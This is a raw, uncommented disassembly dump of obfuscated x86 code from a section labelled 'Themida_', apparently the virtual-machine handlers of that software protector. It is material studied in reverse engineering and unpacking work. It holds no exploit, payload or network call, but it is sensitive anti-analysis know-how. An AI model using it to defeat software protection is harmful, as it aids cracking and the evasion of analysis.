0C29E759Bh push eax jmp loc_55B55E ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] push eax jmp loc_5538F6 ; --------------------------------------------------------------------------- loc_557B34: ; CODE XREF: Themida_:00551BA6j pop ecx shr eax, 0Bh xor ecx, eax push 4A6Fh jmp loc_55514B ; --------------------------------------------------------------------------- loc_557B44: ; CODE XREF: Themida_:00553BEFj push dword ptr [esp] pop eax push 7466h mov [esp], edx mov edx, esp add edx, 4 push 1E74h mov [esp], edi mov edi, 251E5BD2h push edi not dword ptr [esp] pop edi push ecx mov ecx, 5F916733h not ecx jmp loc_5535EF ; --------------------------------------------------------------------------- loc_557B77: ; CODE XREF: Themida_:00556712j push dword ptr [esp] pop esi add esp, 4 push edx push esp pop edx add edx, 4 push eax jmp loc_5521E6 ; --------------------------------------------------------------------------- loc_557B90: ; CODE XREF: Themida_:005558E2j dec esi add esi, 5E245CE2h shr esi, 6 add esi, 1D2E64C9h jmp loc_557586 ; --------------------------------------------------------------------------- loc_557BA5: ; CODE XREF: Themida_:005518C2j push 43CDh jmp loc_557C0D ; --------------------------------------------------------------------------- loc_557BAF: ; CODE XREF: Themida_:00552741j xor [esp], eax jmp loc_555B42 ; --------------------------------------------------------------------------- loc_557BB7: ; CODE XREF: Themida_:0055313Dj add al, cl sub al, 60h sub al, 2Bh sub al, 82h jmp loc_55B01A ; --------------------------------------------------------------------------- loc_557BC4: ; CODE XREF: Themida_:005582C4j xchg bp, cx inc bp xor cx, bp xor bp, cx xor cx, bp push small 293h mov [esp], si push ebx push edi jmp loc_554413 ; --------------------------------------------------------------------------- loc_557BE1: ; CODE XREF: Themida_:00557D41j pop edi add edi, 4 push ebp mov ebp, 2 add edi, ebp push dword ptr [esp] mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_559633 ; --------------------------------------------------------------------------- loc_557C0D: ; CODE XREF: Themida_:00557BAAj mov [esp], edx push eax pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_557C17: ; CODE XREF: Themida_:00557F4Bj push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop eax push ebx mov ebx, esp add ebx, 4 push edx mov edx, 67D7704Fh sub edx, 67D7704Bh jmp loc_555285 ; --------------------------------------------------------------------------- loc_557C3B: ; CODE XREF: Themida_:00557436j neg ecx shl ecx, 7 or ecx, 52D63224h xor ecx, 0F997D9E6h mov ebp, ecx pop ecx add ebp, ecx pop ecx xor ebp, edi mov edi, [esp] add esp, 4 add ebp, 383ADDB7h sub eax, ebp jmp loc_55D345 ; --------------------------------------------------------------------------- loc_557C67: ; CODE XREF: Themida_:0055557Ej push edx mov dh, 51h add bl, dh mov edx, [esp] jmp loc_551D87 ; --------------------------------------------------------------------------- loc_557C74: ; CODE XREF: Themida_:00556576j add dword ptr [esp], 4 pop ebp add ebp, 4 push eax mov eax, 2 push ebx mov ebx, 611879C0h add ebp, ebx pop ebx sub ebp, offset word_530516 add ebp, eax jmp loc_55B54C ; --------------------------------------------------------------------------- loc_557C9B: ; CODE XREF: Themida_:0055B559j xor eax, 3F8D0D72h sub ebp, eax pop eax pop eax push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] mov ax, [esp] jmp loc_554079 ; --------------------------------------------------------------------------- loc_557CB9: ; CODE XREF: Themida_:00551522j push ebx mov ebx, 78D833E2h add eax, 20E50331h sub eax, ebx jmp loc_5583BD ; --------------------------------------------------------------------------- loc_557CCB: ; CODE XREF: Themida_:0055B492j push ebp mov ebp, 3769075Eh add ebp, 132E164Eh or ebp, 70D4147Fh or ebp, 14807E67h add ebp, 81288005h mov edx, ebp pop ebp add edi, edx pop edx push ebp jmp loc_5558F0 ; --------------------------------------------------------------------------- loc_557CF5: ; CODE XREF: Themida_:005564EAj pop edi pop dword ptr [esp] pop esp jmp loc_551368 ; --------------------------------------------------------------------------- loc_557CFF: ; CODE XREF: Themida_:0055B423j sub ebp, 3FB77F44h pop ebx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], cx movzx cx, al jmp loc_5517C1 ; --------------------------------------------------------------------------- loc_557D1D: ; CODE XREF: Themida_:005524A2j neg ebx add ebx, 961472B2h sub edi, ebx pop ebx pop ebp jmp loc_552065 ; --------------------------------------------------------------------------- loc_557D2E: ; CODE XREF: Themida_:005526B6j push ebp push esi push 696003E4h jmp loc_5558C3 ; --------------------------------------------------------------------------- loc_557D3A: ; CODE XREF: Themida_:0055177Ej pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_557BE1 ; --------------------------------------------------------------------------- loc_557D46: ; CODE XREF: Themida_:0055259Aj mov [esp], ecx jmp loc_552E4F ; --------------------------------------------------------------------------- loc_557D4E: ; CODE XREF: Themida_:00557734j mov ebp, 1350ED9Fh add ebp, eax jmp loc_55680F ; --------------------------------------------------------------------------- loc_557D5A: ; CODE XREF: Themida_:00558456j pop ebx add ebx, 4 jmp loc_55476D ; --------------------------------------------------------------------------- loc_557D66: ; CODE XREF: Themida_:0055A03Cj push dword ptr [esp] mov eax, [esp] push ecx mov ecx, esp jmp loc_556A38 ; --------------------------------------------------------------------------- loc_557D74: ; CODE XREF: Themida_:005549E9j pop edi sub eax, ecx mov ecx, [esp] add esp, 4 xor eax, 0B590D0D2h mov [edx+30h], eax pop eax popa popf retn ; --------------------------------------------------------------------------- jmp loc_55C884 ; --------------------------------------------------------------------------- loc_557D91: ; CODE XREF: Themida_:00552551j push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_5598D1 ; --------------------------------------------------------------------------- loc_557D9F: ; CODE XREF: Themida_:0055A092j mov edx, edi pop edi jmp loc_55BCC0 ; --------------------------------------------------------------------------- loc_557DA7: ; CODE XREF: Themida_:00558823j not edi add edi, 7BBCB242h add edi, 1375E093h jmp loc_55894A ; --------------------------------------------------------------------------- loc_557DBA: ; CODE XREF: Themida_:00552314j and eax, ebp pop ebp or edx, eax shl edx, 1 jmp loc_55271C ; --------------------------------------------------------------------------- loc_557DC6: ; CODE XREF: Themida_:00558253j add eax, 4 push 55D2h mov [esp], ebp mov ebp, 4 add eax, 4D167143h jmp loc_552A1F ; --------------------------------------------------------------------------- loc_557DE2: ; CODE XREF: Themida_:0055A2C7j add ecx, ebx pop ebx push 7556h mov [esp], ecx jmp loc_55A5B7 ; --------------------------------------------------------------------------- loc_557DF2: ; CODE XREF: Themida_:0055369Aj add bh, 29h xor dh, bh pop ebx jmp loc_554621 ; --------------------------------------------------------------------------- loc_557DFD: ; CODE XREF: Themida_:005524EEj xor edi, 0FFC4EFF7h jmp loc_55B3C5 ; --------------------------------------------------------------------------- loc_557E08: ; CODE XREF: Themida_:00554655j add edx, 4 xchg edx, [esp] pop esp pop dword ptr [esp] jmp loc_552A75 ; --------------------------------------------------------------------------- loc_557E1A: ; CODE XREF: Themida_:0055A5FDj add esp, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esi mov esi, esp push ebx jmp loc_552BEA ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] push dword ptr [esp] pop eax push 118Dh mov [esp], edx jmp loc_559490 ; --------------------------------------------------------------------------- loc_557E46: ; CODE XREF: Themida_:0055C2F1j xor edx, [esp] jmp loc_55C685 ; --------------------------------------------------------------------------- loc_557E4E: ; CODE XREF: Themida_:0055BAFEj and [esp], al pushf jmp loc_55492D ; --------------------------------------------------------------------------- loc_557E57: ; CODE XREF: Themida_:00554E18j push ebp mov eax, [esp] jmp loc_557A27 ; --------------------------------------------------------------------------- loc_557E60: ; CODE XREF: Themida_:00557089j add ebp, 4 xchg ebp, [esp] jmp loc_553E19 ; --------------------------------------------------------------------------- loc_557E6B: ; CODE XREF: Themida_:0055333Bj or edi, 0F615EA2h shr edi, 6 or edi, 791E7C94h add edi, 5FC24E85h not edi xor edi, 26FDB378h mov ecx, edi jmp loc_556A79 ; --------------------------------------------------------------------------- loc_557E8F: ; CODE XREF: Themida_:005544F6j pop eax sub [edi+24h], eax pop eax xor edx, edx sub esp, 4 mov [esp], ebx push ebp mov ebp, 231F0669h xor [esp+4], ebp mov ebp, [esp] add esp, 4 push dword ptr [esp] pop eax add esp, 4 push ecx jmp loc_55BF8D ; --------------------------------------------------------------------------- loc_557EB9: ; CODE XREF: Themida_:005558EBj mov bl, 4Bh mov ch, bl pop ebx jmp loc_553C5B ; --------------------------------------------------------------------------- loc_557EC3: ; CODE XREF: Themida_:00559104j push ebx push 66E5072Ah pop ebx add ebx, 588371B0h shl ebx, 1 jmp loc_553155 ; --------------------------------------------------------------------------- loc_557ED7: ; CODE XREF: Themida_:0055C0D0j pop eax jmp loc_55859E ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax sbb [esp], eax pushf jmp loc_551368 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_554033 ; --------------------------------------------------------------------------- loc_557EF3: ; CODE XREF: Themida_:0055635Bj mov esp, [esp] imul cl movzx cx, ah push small 1D6Fh mov [esp], cx movzx cx, al push cx pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_557F10: ; CODE XREF: Themida_:00551F60j push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_55AAEE ; --------------------------------------------------------------------------- loc_557F1D: ; CODE XREF: Themida_:00559302j push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] jmp loc_55BE1A ; --------------------------------------------------------------------------- loc_557F2E: ; CODE XREF: Themida_:00558291j add edi, 4 push ebx mov ebx, 4 add edi, ebx jmp loc_55AE49 ; --------------------------------------------------------------------------- loc_557F41: ; CODE XREF: Themida_:0055C7C2j mov ebp, esp jmp loc_55644C ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] jmp loc_557C17 ; --------------------------------------------------------------------------- loc_557F50: ; CODE XREF: Themida_:00555686j dec esi jmp loc_55837D ; --------------------------------------------------------------------------- loc_557F56: ; CODE XREF: Themida_:00559825j pop ecx add ecx, 29197B22h mov ebp, [esp] sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] add eax, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_558061 ; --------------------------------------------------------------------------- loc_557F8A: ; CODE XREF: Themida_:00554997j push esi jmp loc_553872 ; --------------------------------------------------------------------------- loc_557F90: ; CODE XREF: Themida_:00555E54j xor ebp, [esp] jmp loc_552CFC ; --------------------------------------------------------------------------- loc_557F98: ; CODE XREF: Themida_:00559B4Cj add ecx, 3F0360F2h pop ebp rep movsd add esp, [edx+38h] jmp loc_55265A ; --------------------------------------------------------------------------- loc_557FA9: ; CODE XREF: Themida_:0055262Fj pop ebx push eax push ebx mov bl, 0C8h xor bl, 74h shl bl, 2 shl bl, 3 shr bl, 6 sub bl, 0E7h add bl, 0C9h mov al, bl jmp loc_556F71 ; --------------------------------------------------------------------------- loc_557FC7: ; CODE XREF: Themida_:0055BC19j pop edi add ebx, ecx add ebx, 2BDD2706h pop ecx jmp loc_55406B ; --------------------------------------------------------------------------- loc_557FD6: ; CODE XREF: Themida_:00556627j sub ecx, edi mov edi, [esp] add esp, 4 jmp loc_558E0C ; --------------------------------------------------------------------------- loc_557FE3: ; CODE XREF: Themida_:0055BA8Ej add esp, 4 xor ebx, edi push dword ptr [esp] pop edi jmp loc_551D68 ; --------------------------------------------------------------------------- loc_557FF4: ; CODE XREF: Themida_:00553FA9j jmp loc_551368 ; --------------------------------------------------------------------------- loc_557FF9: ; CODE XREF: Themida_:00559E93j pop edx jmp loc_55AF74 ; --------------------------------------------------------------------------- loc_557FFF: ; CODE XREF: Themida_:00556B65j pop esp jmp loc_552177 ; --------------------------------------------------------------------------- loc_558005: ; CODE XREF: Themida_:00554BE7j pop eax add eax, ebx pop ebx jmp loc_554274 ; --------------------------------------------------------------------------- loc_55800E: ; CODE XREF: Themida_:0055921Ej or ecx, 4DA46309h inc ecx add ecx, 3D5E9EA3h jmp loc_553A9D ; --------------------------------------------------------------------------- loc_558020: ; CODE XREF: Themida_:00555E65j push ebx push ecx mov ecx, 6A7859E3h mov ebx, ecx pop ecx xor ebx, 31917015h add ebx, 6AAD46ABh push esi jmp loc_5584CE ; --------------------------------------------------------------------------- loc_55803C: ; CODE XREF: Themida_:005517E8j mov ebp, [esp] add esp, 4 jmp loc_551797 ; --------------------------------------------------------------------------- loc_558047: ; CODE XREF: Themida_:0055C16Cj shr word ptr [esp], cl pushf jmp loc_559942 ; --------------------------------------------------------------------------- loc_558051: ; CODE XREF: Themida_:0055493Dj add dword ptr [esp], 4 push dword ptr [esp] pop ecx jmp loc_552337 ; --------------------------------------------------------------------------- loc_558061: ; CODE XREF: Themida_:00557F85j add esp, 4 push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebp push eax mov eax, 74A156A7h push esi mov esi, 0C3B63B2h jmp loc_5581DB ; --------------------------------------------------------------------------- loc_55808E: ; CODE XREF: Themida_:0055B3C0j push ecx jmp loc_553C11 ; --------------------------------------------------------------------------- loc_558094: ; CODE XREF: Themida_:005551E8j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp and edx, 517854C5h jmp loc_554F13 ; --------------------------------------------------------------------------- loc_5580AF: ; CODE XREF: Themida_:00554122j pop edi add esi, 73F426A4h not esi push esi not dword ptr [esp] mov esi, [esp] add esp, 4 push edx mov edx, 4599639Fh or edx, 53C50583h shl edx, 3 sub esp, 4 mov [esp], ebp mov ebp, 6FBAD529h sub edx, ebp pop ebp jmp loc_55541F ; --------------------------------------------------------------------------- loc_5580E7: ; CODE XREF: Themida_:00555589j push ecx mov ecx, 82C85399h add esi, ecx pop ecx sub eax, esi pop esi jmp loc_556D23 ; --------------------------------------------------------------------------- loc_5580F8: ; CODE XREF: Themida_:0055A126j pop ecx push 28BFh mov [esp], ebp mov ebp, esp add ebp, 4 push eax push ebp jmp loc_55340E ; --------------------------------------------------------------------------- loc_558110: ; CODE XREF: Themida_:00559570j xchg ebp, [esp] pop esp add edi, esi pop esi push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_558E3F ; --------------------------------------------------------------------------- loc_558128: ; CODE XREF: Themida_:00554FA8j pop ebp xor ecx, [esp] jmp loc_558B3A ; --------------------------------------------------------------------------- loc_558131: ; CODE XREF: Themida_:00558C51j pop ebx push edx mov edx, 8753AB3h add ebp, edx jmp loc_557ACA ; --------------------------------------------------------------------------- loc_55813F: ; CODE XREF: Themida_:00555CD4j mov ebp, 4 jmp loc_55AF9E ; --------------------------------------------------------------------------- loc_558149: ; CODE XREF: Themida_:00556185j pop dword ptr [esp] pop esp jmp loc_556646 ; --------------------------------------------------------------------------- loc_558152: ; CODE XREF: Themida_:00554487j mov ebp, edi jmp loc_551B96 ; --------------------------------------------------------------------------- loc_558159: ; CODE XREF: Themida_:00559FBDj add edx, ebx pop ebx jmp loc_551368 ; --------------------------------------------------------------------------- loc_558161: ; CODE XREF: Themida_:0055C4A2j mov esp, [esp] mov [esp], ebx push 5602689Bh mov ebx, [esp] add esp, 4 sub ebx, 1FA67CF5h jmp loc_5516E6 ; --------------------------------------------------------------------------- loc_55817D: ; CODE XREF: Themida_:00557380j add ebx, ebp pop ebp pop ecx push 25C5h mov [esp], ebp jmp loc_558B70 ; --------------------------------------------------------------------------- loc_55818E: ; CODE XREF: Themida_:0055C8AEj mov edi, [esp] add esp, 4 jmp loc_551368 ; --------------------------------------------------------------------------- loc_558199: ; CODE XREF: Themida_:005591C5j pop ecx add ch, al jmp loc_554D57 ; --------------------------------------------------------------------------- loc_5581A1: ; CODE XREF: Themida_:0055850Ej add eax, 25776C5Ch shl eax, 8 jmp loc_551BCC ; --------------------------------------------------------------------------- loc_5581AE: ; CODE XREF: Themida_:00555E49j xchg edi, [esp] pop esp jmp loc_551BAB ; --------------------------------------------------------------------------- loc_5581B7: ; CODE XREF: Themida_:005530A1j add eax, ebp sub eax, 53357E12h pop ebp jmp loc_553665 ; --------------------------------------------------------------------------- loc_5581C4: ; CODE XREF: Themida_:00557751j mov [esp], edx push 43B7F00h push dword ptr [esp] pop edx add esp, 4 jmp loc_55611F ; --------------------------------------------------------------------------- loc_5581DB: ; CODE XREF: Themida_:00558089j sub esi, 62EE081Bh add esi, 5C6D4BDAh shl esi, 2 sub esi, 19FB11E5h add esi, 1552A812h jmp loc_557163 ; --------------------------------------------------------------------------- loc_5581FB: ; CODE XREF: Themida_:00551FA5j push 38A16E83h jmp loc_551689 ; --------------------------------------------------------------------------- loc_558205: ; CODE XREF: Themida_:00559CB1j sub esp, 4 mov [esp], esp sub esp, 4 mov [esp], ebx mov ebx, 4 add [esp+4], ebx pop ebx pop edx jmp loc_55B048 ; --------------------------------------------------------------------------- loc_558224: ; CODE XREF: Themida_:005523E1j sub ecx, 0EF78B60Fh add eax, ecx pop ecx add eax, 4 jmp loc_5518BC ; --------------------------------------------------------------------------- loc_558235: ; CODE XREF: Themida_:00552775j push edi jmp loc_553B53 ; --------------------------------------------------------------------------- loc_55823B: ; CODE XREF: Themida_:0055B929j mov esi, 4A573B00h shr esi, 8 xor esi, offset byte_4A573F mov ecx, esi jmp loc_553921 ; --------------------------------------------------------------------------- loc_558250: ; CODE XREF: Themida_:00552CF0j push eax mov eax, esp jmp loc_557DC6 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push eax mov eax, esp jmp loc_5568F6 ; --------------------------------------------------------------------------- loc_558264: ; CODE XREF: Themida_:00553266j sub esi, ecx mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_55956D ; --------------------------------------------------------------------------- loc_558277: ; CODE XREF: Themida_:0055300Dj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push edi push esp mov edi, [esp] add esp, 4 jmp loc_557F2E ; --------------------------------------------------------------------------- loc_558296: ; CODE XREF: Themida_:005539C2j mov dl, 30h and dl, 71h jmp loc_556736 ; --------------------------------------------------------------------------- push 19C4h jmp loc_556A08 ; --------------------------------------------------------------------------- loc_5582AA: ; CODE XREF: Themida_:0055332Dj shl ebx, 6 and ebx, 7C1E0595h push ecx jmp loc_558843 ; --------------------------------------------------------------------------- loc_5582B9: ; CODE XREF: Themida_:00552BCCj push di mov di, 5895h add cx, di pop di jmp loc_557BC4 ; --------------------------------------------------------------------------- loc_5582C9: ; CODE XREF: Themida_:005566CDj pop dx xor bl, al pop eax jmp loc_556B3C ; --------------------------------------------------------------------------- loc_5582D3: ; CODE XREF: Themida_:00556E03j push esi mov esi, 4197076Fh jmp loc_559549 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_55A45F ; --------------------------------------------------------------------------- loc_5582E7: ; CODE XREF: Themida_:0055536Aj add esp, 4 push ecx mov ecx, 5522D05h xor ecx, 1D0C7337h shl ecx, 4 or ecx, 64C51146h add ecx, 0FFFFFFFFh push ebx mov ebx, 0E5E5F367h xor ecx, ebx pop ebx add edx, ecx pop ecx xchg edx, [esp] pop esp jmp loc_552BE0 ; --------------------------------------------------------------------------- loc_55831D: ; CODE XREF: Themida_:005576C4j push edi mov edi, esp push esi jmp loc_55161E ; --------------------------------------------------------------------------- loc_558326: ; CODE XREF: Themida_:00553623j xor ecx, 7B9A6156h pop edx add ecx, edi push 71D3h mov [esp], ebp sub esp, 4 mov [esp], eax mov eax, 59175819h sub dword ptr [esp+4], 150122F5h sub [esp+4], eax add dword ptr [esp+4], 150122F5h pop eax pop dword ptr [ecx] add dword ptr [ecx], 59175819h jmp loc_55D37C ; --------------------------------------------------------------------------- loc_558364: ; CODE XREF: Themida_:005550ABj mov dx, [esp] add esp, 2 sub al, bh pop ebx jmp loc_558AEA ; --------------------------------------------------------------------------- loc_558376: ; CODE XREF: Themida_:00551E1Cj xchg al, ch jmp loc_556D87 ; --------------------------------------------------------------------------- loc_55837D: ; CODE XREF: Themida_:00557F51j sub esi, 0DCBEA7DAh mov edi, esi pop esi jmp loc_55A908 ; --------------------------------------------------------------------------- lodsb add al, 61h sub al, bl push cx jmp loc_55C3C8 ; --------------------------------------------------------------------------- loc_558397: ; CODE XREF: Themida_:005517BCj mov [esp], esi mov esi, 0EC84ECFh sub ebp, 4A4208D6h sub ebp, esi add ebp, 4A4208D6h jmp loc_5563AA ; --------------------------------------------------------------------------- loc_5583B2: ; CODE XREF: Themida_:005551ADj pop ebx push 0CD2h jmp loc_55238C ; --------------------------------------------------------------------------- loc_5583BD: ; CODE XREF: Themida_:00557CC6j sub eax, 20E50331h pop ebx push ebx mov ebx, 75B53ECDh sub edx, ebx pop ebx add edx, eax jmp loc_554BCD ; --------------------------------------------------------------------------- loc_5583D3: ; CODE XREF: Themida_:0055D434j mov esp, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push dword ptr [esp] pop eax push 24Ah mov [esp], eax push 55B6h mov [esp], esp sub esp, 4 jmp loc_553332 ; --------------------------------------------------------------------------- loc_558402: ; CODE XREF: Themida_:00554CB7j xor [esp], eax jmp loc_551368 ; --------------------------------------------------------------------------- loc_55840A: ; CODE XREF: Themida_:00556CB3j pop ebp add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_5579DF ; --------------------------------------------------------------------------- loc_55841C: ; CODE XREF: Themida_:00553522j mov edx, 4 add ebx, edx pop edx sub ebx, 4 jmp loc_55268B ; --------------------------------------------------------------------------- loc_55842C: ; CODE XREF: Themida_:00559643j pop esp jmp loc_55CF37 ; --------------------------------------------------------------------------- loc_558432: ; CODE XREF: Themida_:005547B3j pop ecx loc_558433: ; CODE XREF: Themida_:005574F7j push edi mov edi, ebx sub esp, 4 mov [esp], edi mov eax, [esp] add esp, 4 push dword ptr [esp] mov edi, [esp] add esp, 4 push ebx push esp jmp loc_557D5A ; --------------------------------------------------------------------------- loc_55845B: ; CODE XREF: Themida_:00556E8Bj sub bh, cl pop ecx add bh, 2Fh jmp loc_55B583 ; --------------------------------------------------------------------------- loc_558466: ; CODE XREF: Themida_:00554AC6j add esp, 4 xchg edi, [esp] mov esp, [esp] test cx, ax pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_55847B: ; CODE XREF: Themida_:0055796Fj xor esi, [esp] mov esp, [esp] test cl, al pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_558489: ; CODE XREF: Themida_:00552C9Ej xchg eax, [esp] pop esp push dword ptr [esp] pop eax jmp loc_55CCFD ; --------------------------------------------------------------------------- loc_558496: ; CODE XREF: Themida_:0055667Bj shl edi, 2 add edi, 0FFFFFFFFh sub edi, 0A73E818Dh mov ebx, edi mov edi, [esp] add esp, 4 jmp loc_559CF5 ; --------------------------------------------------------------------------- loc_5584B2: ; CODE XREF: Themida_:00556BAFj pop edx add esi, eax pop eax jmp loc_553A0F ; --------------------------------------------------------------------------- loc_5584BB: ; CODE XREF: Themida_:005525ECj add esi, 0D58FBFFEh jmp loc_552078 ; --------------------------------------------------------------------------- loc_5584C6: ; CODE XREF: Themida_:0055574Cj mov [esp], edx jmp loc_55BF65 ; --------------------------------------------------------------------------- loc_5584CE: ; CODE XREF: Themida_:00558037j mov esi, 745154BCh sub esi, 3BA73AAEh sub esi, 7213A969h xor ebx, esi pop esi add edx, ebx jmp loc_556B16 ; --------------------------------------------------------------------------- loc_5584E9: ; CODE XREF: Themida_:0055A814j dec dl shl dl, 4 dec dl add dl, 83h jmp loc_55266B ; --------------------------------------------------------------------------- mov ax, [esp] push 2C2Bh mov [esp], eax jmp loc_55ADC8 ; --------------------------------------------------------------------------- loc_558509: ; CODE XREF: Themida_:005556D6j add eax, 38443DDBh jmp loc_5581A1 ; --------------------------------------------------------------------------- loc_558513: ; CODE XREF: Themida_:0055C606j not eax xchg eax, edi not edi sub edi, 825465Dh add edx, edi mov edi, [esp] add esp, 4 add edx, 23C31CCAh jmp loc_5539D6 ; --------------------------------------------------------------------------- lodsd sub eax, 3A6B46CDh sub eax, 63FA7D78h sub eax, ebx sub esp, 4 jmp loc_555790 ; --------------------------------------------------------------------------- loc_558549: ; CODE XREF: Themida_:0055585Aj mov [esp], esi mov esi, 6FA87DE9h push 0 sub [esp], esi pop esi shr esi, 6 shl esi, 4 xor esi, 21C6C7C4h sub eax, esi pop esi jmp loc_551368 ; --------------------------------------------------------------------------- loc_55856E: ; CODE XREF: Themida_:005556FDj mov [esp], ebx mov ebx, 32C35D40h push ebx jmp loc_553967 ; --------------------------------------------------------------------------- loc_55857C: ; CODE XREF: Themida_:0055B1A0j push esp pop ebp push ebx jmp loc_55781D ; --------------------------------------------------------------------------- loc_558584: ; CODE XREF: Themida_:0055AC22j push 183839B6h pop edx add edx, 0E7C7C64Eh mov edi, edx pop edx add [esp+4], edi pop edi pop ebp jmp loc_55C3BA ; --------------------------------------------------------------------------- loc_55859E: ; CODE XREF: Themida_:00557ED8j pop dword ptr [esp] jmp loc_55B227 ; --------------------------------------------------------------------------- loc_5585A6: ; CODE XREF: Themida_:00556CD8j sub edi, esi pop esi mov edx, edi pop edi jmp loc_55BEFF ; --------------------------------------------------------------------------- loc_5585B1: ; CODE XREF: Themida_:00554800j mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp sub esp, 4 jmp loc_555C8D ; --------------------------------------------------------------------------- loc_5585C5: ; CODE XREF: Themida_:00552FD5j pop edi mov edx, [esp] add esp, 4 or esi, edi pop edi jmp loc_5598A5 ; --------------------------------------------------------------------------- loc_5585D7: ; CODE XREF: Themida_:0055377Aj push 6D6Ah mov [esp], edx mov edx, esp sub esp, 4 mov [esp], edi mov edi, 4F2117DDh jmp loc_55AF2A ; --------------------------------------------------------------------------- loc_5585F1: ; CODE XREF: Themida_:0055C015j xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], ax jmp loc_551368 ; --------------------------------------------------------------------------- loc_558603: ; CODE XREF: Themida_:0055B487j pop eax pop dword ptr [esp] mov esp, [esp] movsx ecx, al push 58BAh mov [esp], ecx jmp loc_551368 ; --------------------------------------------------------------------------- loc_55861A: ; CODE XREF: Themida_:0055C79Fj pop dword ptr [esp] mov esp, [esp] jmp loc_55B9DC ; --------------------------------------------------------------------------- loc_558625: ; CODE XREF: Themida_:00558CB6j pop ecx mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push edi jmp loc_557562 ; --------------------------------------------------------------------------- loc_558640: ; CODE XREF: Themida_:0055AF59j push edi mov edi, 1C3F5636h mov ecx, edi mov edi, [esp] add esp, 4 jmp loc_55BE04 ; --------------------------------------------------------------------------- loc_558656: ; CODE XREF: Themida_:0055BFD6j mov ebp, 313C45BFh neg ebp shl ebp, 1 neg ebp shl ebp, 5 xor ebp, 28267626h jmp loc_55B811 ; --------------------------------------------------------------------------- loc_55866F: ; CODE XREF: Themida_:00552BB3j add esp, 4 xor ecx, 7D8E0220h sub eax, 23DA5B2Dh sub eax, ecx push ebx mov ebx, 23DA5B2Dh add eax, ebx jmp loc_559307 ; --------------------------------------------------------------------------- loc_55868C: ; CODE XREF: Themida_:0055A65Aj mov eax, 17534BFAh xor esi, eax pop eax sub eax, esi pop esi jmp loc_55CC10 ; --------------------------------------------------------------------------- loc_55869C: ; CODE XREF: Themida_:00559CC1j mov ecx, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], edi mov edi, 4 add ebp, edi pop edi push 17C9h mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] jmp loc_55A919 ; --------------------------------------------------------------------------- loc_5586CF: ; CODE XREF: Themida_:005518A9j mov di, [esp] jmp loc_55CF9C ; --------------------------------------------------------------------------- loc_5586D8: ; CODE XREF: Themida_:00559802j pop esp mov [esp], edx mov edx, esp add edx, 4 push eax mov eax, 2 add edx, eax jmp loc_5598F8 ; --------------------------------------------------------------------------- loc_5586F1: ; CODE XREF: Themida_:0055C9A9j sub ebx, eax pop eax add ebx, eax add ebx, 51C748D6h jmp loc_55B0DD ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], ebx push esp pop ebx push 6988h mov [esp], edx mov edx, 49161133h shr edx, 7 push edi mov edi, 11192746h shr edi, 2 jmp loc_55709E ; --------------------------------------------------------------------------- loc_55872E: ; CODE XREF: Themida_:00556AE7j pop ebp xchg edx, [esp] jmp loc_55A9FC ; --------------------------------------------------------------------------- loc_558737: ; CODE XREF: Themida_:0055B662j add ebx, esi push eax mov eax, 10FB684Dh jmp loc_553628 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_551C4E ; --------------------------------------------------------------------------- loc_55874D: ; CODE XREF: Themida_:0055307Bj push eax mov eax, esp add eax, 4 push edx jmp loc_55662C ; --------------------------------------------------------------------------- loc_55875B: ; CODE XREF: Themida_:0055540Dj shl ebp, 8 jmp loc_55C560 ; --------------------------------------------------------------------------- loc_558763: ; CODE XREF: Themida_:00551E8Bj push ebp mov ebp, 4BFC59FEh add edi, ebp pop ebp jmp loc_555505 ; --------------------------------------------------------------------------- loc_558771: ; CODE XREF: Themida_:00551F86j pop eax push edx mov dl, 7Dh sub dl, 8 sub bl, dl pop edx sub bl, al add bl, 75h sub bl, 0F6h movzx eax, al lea eax, [edi+eax*4] jmp loc_5525F1 ; --------------------------------------------------------------------------- loc_55878E: ; CODE XREF: Themida_:00556EF7j mov ebp, 59636AD5h not ebp push eax push ebx mov ebx, 4D1C7CA1h mov eax, ebx pop ebx shr eax, 2 jmp loc_55344C ; --------------------------------------------------------------------------- loc_5587A7: ; CODE XREF: Themida_:00558FEBj add dword ptr [esp], 7CBD1498h pop esi jmp loc_55411C ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr dword ptr [esp], cl pushf jmp loc_551368 ; 